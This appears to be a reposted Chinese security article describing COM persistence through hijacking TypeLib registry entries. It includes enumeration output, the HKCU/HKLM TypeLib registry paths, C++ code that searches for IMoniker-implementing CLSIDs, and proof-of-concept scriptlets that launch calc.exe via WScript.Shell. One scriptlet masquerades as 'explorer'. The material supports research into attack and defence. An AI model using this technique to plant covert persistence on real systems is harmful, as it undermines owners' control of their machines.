劫持 TypeLib 新的 COM 持久性技术

PS A:\ssd\gitrepo\COMThanasia\ClsidExplorer\x64\Debug> .\CLSIDExplorer.exe --clsid "{00000618-0000-0010-8000-00aa006d2ea4}"[{00000618-0000-0010-8000-00aa006d2ea4}]        AppID: Unknown        ProgID: Unknown        PID: 1572        Process Name: CLSIDExplorer.exe        Username: WINPC\\Michael        Methods:        [0] __stdcall void QueryInterface(IN GUID*, OUT void**)        [1] __stdcall unsignedlong AddRef()        [2] __stdcall unsignedlong Release()        [3] __stdcall void GetTypeInfoCount(OUT unsignedint*)        [4] __stdcall void GetTypeInfo(IN unsignedint, IN unsignedlong, OUT void**)        [5] __stdcall void GetIDsOfNames(IN GUID*, IN char**, IN unsignedint, IN unsignedlong, OUT long*)        [6] __stdcall void Invoke(IN long, IN GUID*, IN unsignedlong, IN unsignedshort, IN DISPPARAMS*, OUT VARIANT*, OUT EXCEPINFO*, OUT unsignedint*)        [7] __stdcall BSTR Name()        [8] __stdcall void Name(IN BSTR)        [9] __stdcall RightsEnum GetPermissions(IN VARIANT, IN ObjectTypeEnum, IN VARIANT)        [10] __stdcall void SetPermissions(IN VARIANT, IN ObjectTypeEnum, IN ActionEnum, IN RightsEnum, IN InheritTypeEnum, IN VARIANT)        [11] __stdcall void ChangePassword(IN BSTR, IN BSTR)        [12] __stdcall Groups* Groups()        [13] __stdcall Properties* Properties()        [14] __stdcall _Catalog* ParentCatalog()        [15] __stdcall void ParentCatalog(IN _Catalog*)        [16] __stdcall void ParentCatalog(IN _Catalog*)[END]

“clsid：a7b90590-36fd-11cf-857d-00aa006d2ea4：”

HKCU\Software\Classes\TypeLib\<TypeLibID>\<Version>HKLM\Software\Classes\TypeLib\<TypeLibID>\<Version># Ex HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{0D452EE1-E08F-101A-852E-02608C4D0BB4}\2.0

#include<windows.h>#include<iostream>#include<objbase.h>#include<combaseapi.h>#include<objidl.h>#include<atlbase.h>LONG WINAPI MyVectoredExceptionHandler(PEXCEPTION_POINTERS exceptionInfo){std::wcout << "Wow!! Something had broken" << std::endl;return EXCEPTION_CONTINUE_EXECUTION;}boolInitializeCOM(){ HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);return SUCCEEDED(hr);}boolDoesObjectImplementIMoniker(REFCLSID clsid){ IMoniker* pMoniker = nullptr; IUnknown* pUnknown = nullptr; HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_INPROC_SERVER, IID_IUnknown, (void**)&pUnknown);if (SUCCEEDED(hr) && pUnknown) {  hr = pUnknown->QueryInterface(IID_IMoniker, (void**)&pMoniker);if (SUCCEEDED(hr)) {   LPOLESTR wsclsid = nullptr;   hr = StringFromCLSID(clsid, &wsclsid);if (SUCCEEDED(hr))   {//std::wcout << L"CLSID:" << wsclsid << std::endl;    pMoniker->Release();    pUnknown->Release();    CoTaskMemFree(wsclsid);returntrue;   }  }  pUnknown->Release(); }returnfalse;}voidEnumerateAllCLSID(){ HKEY hKey;if (RegOpenKeyEx(HKEY_CLASSES_ROOT, L"CLSID", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {wchar_t clsidStr[39];  DWORD index = 0;  DWORD size = sizeof(clsidStr) / sizeof(clsidStr[0]);while (RegEnumKeyEx(hKey, index, clsidStr, &size, nullptr, nullptr, nullptr, nullptr) == ERROR_SUCCESS) {   CLSID clsid;if (CLSIDFromString(clsidStr, &clsid) == S_OK) {if (DoesObjectImplementIMoniker(clsid)) {     LPOLESTR wsclsid = nullptr;     HRESULT hr = StringFromCLSID(clsid, &wsclsid);if (SUCCEEDED(hr))     {std::wcout << L"Object with CLSID " << wsclsid << L" implements IMoniker" << std::endl;     }    }   }   index++;   size = sizeof(clsidStr) / sizeof(clsidStr[0]);  }  RegCloseKey(hKey); }}intmain(){if (AddVectoredExceptionHandler(1, MyVectoredExceptionHandler) == nullptr) {std::wcout << L"[-] Failed to add the exception handler!" << std::endl;return1; }if (!InitializeCOM()) {std::cerr << "Failed to initialize COM" << std::endl;return1; } EnumerateAllCLSID(); CoUninitialize();return0;}

<?XML version="1.0"?><package><?component error="true" debug="true"?><comment>      This skeleton shows how script component elements are       assembled into a .wsc file.</comment><componentid="MyScriptlet"><registrationprogid="progID"description="description"version="version"clsid="{00000000-0000-0000-000000000000}"/><referenceobject="progID"><public><propertyname="propertyname"/><methodname="methodname"/><eventname="eventname"/></public><implementstype=COMhandlerNameid=internalName>      (interface-specific definitions here)</implements><scriptlanguage="VBScript">      <![CDATA[      dim propertyname      Function methodname()      ' Script here.      End Function      ]]></script><scriptlanguage="JScript">      <![CDATA[      function get_propertyname()      { // Script here.      }      function put_propertyname(newValue)      { // Script here.         fireEvent(eventname)      }      ]]></script><objectid="objID"classid="clsid:00000000-0000-0000-000000000000"><resourceID="resourceID1">string or number here</resource><resourceID="resourceID2">string or number here</resource></component></package>

<?xml version="1.0"?><scriptlet><Registrationdescription="CICADA8 RESEARCH"progid="CICADA8"version="1.0"></Registration><scriptlanguage="JScript">        <![CDATA[            var WShell = new ActiveXObject("WScript.Shell");            WShell.Run("calc.exe");        ]]></script></scriptlet>

<?xml version="1.0"?><scriptlet><registrationdescription="explorer"progid="explorer"version="1.0"classid="{66666666-6666-6666-6666-666666666666}"remotable="true"></registration><scriptlanguage="JScript">        <![CDATA[            var WShell = new ActiveXObject("WScript.Shell");            WShell.Run("calc.exe");        ]]></script></scriptlet>

原文始发于微信公众号（Ots安全）：劫持 TypeLib 新的 COM 持久性技术